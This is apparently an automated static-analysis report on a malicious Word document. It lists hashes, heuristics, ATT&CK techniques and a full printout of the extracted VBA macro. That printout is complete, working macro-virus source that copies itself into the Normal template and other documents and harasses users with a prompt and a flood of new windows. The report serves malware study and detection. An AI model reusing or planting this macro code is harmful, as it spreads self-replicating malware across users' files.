Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 baa8f24fb9ac0138…

MALICIOUS

Office (OLE)

239.0 KB Created: 2014-02-17 07:46:00 Authoring application: Microsoft Office Word First seen: 2015-09-27
MD5: 800ce5fc2913e91e6142f263697df9b0 SHA-1: a62043d38d3274b0df0ec1888d0d3c8c6445a773 SHA-256: baa8f24fb9ac013893738537417dc0d593ad915a100c8a32709e4704e32509f4
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro attempts to replicate its code into the Normal template and potentially other documents, indicated by the 'VBA macro-virus self-replication' heuristic. This self-replication is a common technique for establishing persistence and spreading malware. The macro also appears to engage the user with a math-based InputBox, which could be a distraction or a method to bypass initial security checks.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        .DeleteLines 1, .CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3136 bytes
SHA-256: 4c53205560f236004160ea45c9421705f5612c49ceb5b21dce0f80f4e4106692
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Macro_2：moonlight
Dim nm(4)
Sub Document_Open()
'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
    Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'moonlight" Then
    .DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
    If ThisDocument = NormalTemplate Then
        .ReplaceLine 3, "Sub Document_Open()"
        ActiveDocument.SaveAs ActiveDocument.FullName
    End If
End If
End With
Count = 0
If Day(Now()) = 1 Then
try:
        On Error GoTo try
        test = -1
        con = 1
        tog$ = ""
        i = 0
        While test = -1
            For i = 0 To 4
                nm(i) = Int(Rnd() * 10)
                con = con * nm(i)
                If i = 4 Then
                    tog$ = tog$ + Str$(nm(4)) + "=?"
                    GoTo beg
                End If
                tog$ = tog$ + Str$(nm(i)) + "*"
            Next i
beg:
        Beep
        ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错，只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
        If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
            Documents.Add
            Selection.Paragraphs.Alignment = wdAlignParagraphCenter
            Beep
            With Selection.Font
                .Name = "细明体"
                .Size = 16
                .Bold = 1
                .Underline = 1
            End With
            Selection.InsertAfter Text:="何谓宏病毒"
            Selection.InsertParagraphAfter
            Beep
            Selection.InsertAfter Text:="答案："
            Selection.Font.Italic = 1
            Selection.InsertAfter Text:="我就是......"
            Selection.InsertParagraphAfter
            Selection.InsertParagraphAfter
            Selection.Font.Italic = 0
            Beep
            Selection.InsertAfter Text:="如何预防宏病毒"
            Selection.InsertParagraphAfter
            Beep
            Selection.InsertAfter Text:="答案："
            Selection.Font.Italic = 1
            Selection.InsertAfter Text:="不要看我......"
            GoTo out
            Else
                Count = Count + 1
                For j = 1 To 20
                    Beep
                    Documents.Add
                Next j
            Selection.Paragraphs.Alignment = wdAlignParagraphCenter
            Selection.InsertAfter Text:="宏病毒"
            If Count = 2 Then GoTo out
            GoTo try
        End If
Wend
End If
out:
End Sub

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